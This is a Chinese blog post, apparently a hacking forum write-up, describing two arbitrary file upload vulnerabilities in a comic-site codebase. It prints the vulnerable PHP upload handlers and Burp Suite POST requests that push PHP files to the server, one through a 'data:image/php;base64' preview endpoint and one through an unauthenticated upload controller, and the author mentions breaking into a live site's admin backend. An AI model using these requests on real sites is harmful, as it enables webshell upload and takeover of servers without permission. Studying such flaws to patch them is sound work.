XX漫画任意文件上传漏洞

彦祖 131

序言

获取一个账号,然后随便点击一个漫画。

可以注入,但是用处不大。基本都不是root权限。有兴趣的自行测试。就算你得到了管理的账号密码也是加了料的。

因为我进去过一个后台。苦于无法拿到权限。so!开始了漫长的找源码之旅。全部都是要钱的。找了N久,才找到了一个老版本的源码、大概是这个样子的。

第一处上传漏洞

在WEBUPLOADER/0.1.5/SERVER/PREBIEW.PHP处

<?php
/**
 * 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
 */

$DIR = 'preview';
// Create target dir
if (!file_exists($DIR)) {
    @mkdir($DIR);
}

$cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds

if ($cleanupTargetDir) {
    if (!is_dir($DIR) || !$dir = opendir($DIR)) {
        die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
    }

    while (($file = readdir($dir)) !== false) {
        $tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;

        // Remove temp file if it is older than the max age and is not the current file
        if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
            @unlink($tmpfilePath);
        }
    }
    closedir($dir);
}

$src = file_get_contents('php://input');

if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {

    $previewUrl = sprintf(
        "%s://%s%s",
        isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
        $_SERVER['HTTP_HOST'],
        $_SERVER['REQUEST_URI']
    );
    $previewUrl = str_replace("preview.php", "", $previewUrl);

    $base64 = $matches[2];
    $type = $matches[1];
    if ($type === 'jpeg') {
        $type = 'jpg';
    }

    $filename = md5($base64).".$type";
    $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

    if (file_exists($filePath)) {
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    } else {
        $data = base64_decode($base64);
        file_put_contents($filePath, $data);
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    }

} else {
    die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}

bp POST包

POST /webuploader/0.1.5/server/preview.php HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 586
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

data:image/php;base64,images

第二处无需登录任意上传漏洞

在 FileUploadController.class.php

public function uploadfile($return = false) {
        $config = array(
            'maxSize' => 314572800,
            'rootPath' => './Public/Uploads/file/',
            'savePath' => '',
            'saveName' => array('uniqid', ''),
            'autoSub' => true,
            'subName' => array('date', 'Ymd'),
        );
        $upload = new Upload($config); // 实例化上传类
        $info = $upload->uploadOne($_FILES['file']);
        $res = array(
            'code' => 0,
            'msg' => '',
            'data' => array(
                'src' => '',
                'title' => '',
            ),
        );

        if ($info) {
            $res['data']['src'] = ltrim($config['rootPath'], '.') . $info['savepath'] . $info['savename'];
            $res['data']['title'] = $info['name'];
        } else {
            $res['code'] = 1;
            $res['msg'] = $upload->getError();

未进行任何的过滤 且不需要登陆验证

第二处 bp Post包

POST /xxxx/uploadfile HTTP/1.1
Host:xxxxx
Content-Length: 513
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNpbZWVXABL2oI7jS
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryNpbZWVXABL2oI7jS
Content-Disposition: form-data; name="file"; filename="1111.php"
Content-Type: image/jpeg

<?php
123
------WebKitFormBoundaryNpbZWVXABL2oI7jS--

分享